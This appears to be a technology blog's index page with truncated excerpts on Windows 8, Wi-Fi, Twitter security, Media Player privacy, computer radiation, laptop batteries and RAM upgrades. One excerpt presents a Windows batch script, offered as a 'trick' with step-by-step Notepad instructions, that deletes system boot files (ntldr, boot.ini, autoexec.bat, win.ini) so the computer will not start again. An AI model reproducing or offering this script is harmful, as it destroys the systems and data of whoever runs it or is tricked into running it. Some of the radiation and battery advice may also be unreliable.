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Are you planning to upgrade to Windows 8, but still not sure about the hardware requirements? A Windows running computer cannot be upgraded to Windows 8 until it full the minimum requirement of Windows 8. This article deals with the minimum requirements and pre-planning that is required for installing or upgrading your previous Windows OS to Windows 8. I do hope that most of us are familiar with the terms Processor, RAM (Random Access Memory), ROM (Read Only Memory), Graphics, HDD (Hard disk drive). You Windows 8 installation and upgrade depends on the following key factors. The table below shows the minimum hardware requirements for Windows 8. Hardware x86 (32-bit) x86 (64-bit) Processor 1 GHz or higher RAM 1 GB or more 2 GB HDD free space (Free memory in Hard Disk Drive) 16 GB (minimum) 20 GB Graphics DirectX 9 Therefore, it is the time to go for Windows 8 if your computer meets ...

Recently, Microsoft released its latest Windows 8 operating system which supports desktops computers, tablets and Smartphone as well. But, do you know which are the four different versions of Windows 8 and how do they differ from each-other? If you are planning to buy a new computer, then now you will be having chance to choose one out of the four different Windows 8 versions. Microsoft offers four versions as four different flavors of Windows 8. These are Windows RT, Windows 8, Windows 8 Pro, and Windows 8 Enterprise. Of course, I will not include Windows Developers Preview in the main versions of Windows 8, as it was not a complete version but a working dummy of the final product. Below is how these four versions of Windows are different from one another. Windows RT This version of Windows has been designed for iPad and tablets, taking long-battery life in mind. Windows RT comes pre-installed on touch-enabled devices like touch screen tablets and laptops; so you can neith...

Have you ever wondered how a Wi-Fi network works? Read it here and unfold the secrets behind working for Wi-Fi. What is Wi-Fi? A wireless technology; which can be used to connect computers, mobile phones and other electronic devices with each-other with the help of a wireless network. The data is encoded (translated) into radio signals by the wireless adapter of a computer, and transmits the same over an antenna. Generally, the transmitting antenna is connected to   Local Area Network   ( LAN ) or   DSL connection . The signals now are received by a wireless router which decodes it again to data. Wi-Fi hotspots-   The spots or places with Wi-Fi connectivity enabled are termed as Wi-Fi hotspots. Here, one can have access to the Internet through this connection. Wi-Fi technology is widely used in providing Internet access to employees of a company, students of a class, households etc. One of the main and simplest advantage of Wi-Fi is now we do not ne...

After a series of activities/attacks from hackers on media organizations and celebrity profiles, Twitter is increasing its security by bringing up a new login verification system. It will ensure if it is really you who is signing in, says Twitter. In recent time, some twitter feeds were attacked by hackers and even delivered fake tweets from the accounts of various news organizations like Financial Times and The Associated Press etc. Also, some hackers got into AP's Twitter account and posted fake tweets about US President Barack Obama being seriously injured in blasts at White house. Recently, Twitter said that it is going to implement a brand new login verification system which will surely tighten the security of Twitter accounts. It is actually a type of two-factor authentication I which the second security check will make sure if is you or an automated application or a hacker is trying to get access into your account. However, AP suspended their account on Twitter af...

Do you know Windows Media Player in Windows 8 spies on you? WMP’s online privacy statement mentioned it clearly that Windows Media Player will send information about every single file, i.e. song, movie or any extension that you ever play to Microsoft. However, you may change the settings whether to share it with Microsoft or not. While this news may affect every user in different ways, it is obvious that some users must be feeling it a hole into their privacy. You may or may not care if Microsoft is spying on your activities or not. Well, you may take a few measures if you do not want Microsoft to receive the information of what you are playing on Windows Media Player by changing your privacy settings. It has been noted that Windows Media Player will not be retrieving artist, artwork, album art and other details of a file from the Internet in case Microsoft does not get the information of what you are playing. Below is a little though useful information about the 'Privacy...

Today, Computers are being used in almost every field. These have become an important part of our lives. There is no doubt that its versatility has not only changed our way of thinking but has also accelerated the rate development many times. But, do you know how risky the computer radiation can be for our eyes, heart and other body organs? In this article, I have put some efforts to let us know the risks of computer radiation as well as some easy and effective ways to be on a safer side! What is Computer Radiation? To make the concept of computer radiations more clear, I would like to introduce you all with Electromagnetic radiation or EM radiations or simply called ‘EMR’. Electromagnetic energy is a term used for describing all the different kinds of energies which are released into space by stars (for example, The Sun). Radio Waves, TV waves, short waves, microwaves, heat (infrared radiation), light, X-rays, Gamma rays, including UV-light that also causes Sunburns come...

Do you often face problems like system failure and data corruption even after scanning powerful anti-virus programs? Look into this article to make your e-mails and PC files super secure! Hi Readers, Before opening the real information before you, I would like to share what I have faced by the attack of some powerful virus/spam over my system. Some months ago, I faced a complete data corruption on my Laptop and most of the files used to open lately by firstly showing dialog boxes showing number of dll files missing from the system. In between I re-installed a new copy of Operating System a number of times and changed three different and powerful anti-virus programs for security purposes but nothing helped so far and I kept facing the same problem repeatedly. While searching solutions over Internet, I have found an awesome website that really makes the trouble solved for us. It really helped me in solving the issue, hence I decided to share it with everyone here. VirusTo...

Introduction: This post shares some .bat script with you, which can be used as a trick , so that one will Shut Down his/her Computer, and will never be able to turn it ON, until he/she install a new copy of Windows or any other Operating System . In this trick, you will create a .bat file , which when clicked, immediately shuts down your Computer and when the next time you will try to turn ON your Computer, you’ll find it not possible. Software needed for creating a file to shut down your PC forever-   Notepad.. and just Notepad or any other good text editor. ·          Nothing else! So here it starts: 1) Open Notepad . 2) Now, copy/paste the following code into it: @echo off attrib –r –s –h c:\autoexec.bat del c:\autoexec.bat attrib –r –s –h c:\boot.ini del c:\boot.ini attrib –r –s –h c:\ntldr del c:\ntldr attrib –r –s –h c:\windows\win.ini del c:\windows\win.ini 3) Now simpl...

Introduction: This post deals with some useful steps on how to maintain our Laptop’s battery , so that it may last for longer time . It is not only useful to save your future expenses to buy a new battery after every third month, but also as it saves you from the trouble of losing useful data due to sudden shut down of Laptop. Now, I am going to share some useful tips that may help you to maintain your Laptop battery in a good condition. Tip 1: If you have just bought a new battery for your Laptop, charge the battery fully before taking it into use. Tip 2: Do not bother if your new battery is not giving a good back-up , get it fully charged and discharged a couple of times so that it can give full of it. Tip 3: Fully charge and fully drain your battery after every couple of months. It may help in maintaining the battery performance . Tip 4:   Re-chargeable batteries often undergoes self-discharging when not kept in use for longer time. Hence, always ...

If you often find that your laptop or computer struggles to run certain programs due to insufficient RAM, upgrading the Random Access Memory chip is the obvious solution. Rather than seeking professional help and incurring additional expenses, why not tackle the task yourself? Not only will you save money, but you'll also avoid any potential headaches and mess. In this post, we'll provide simple and easy steps for upgrading your laptop or computer's RAM - ideal for improving performance when running programs or playing computer games. When it comes to improving the performance of your computer or laptop, upgrading your Random Access Memory (RAM) is often necessary. There are a few reasons why you may want to upgrade your RAM. Firstly, if you enjoy playing computer games, especially high definition ones that require more memory than free or low-memory games, upgrading your RAM is a must. Secondly, if you want to impress your friends and colleagues who have computers or lapt...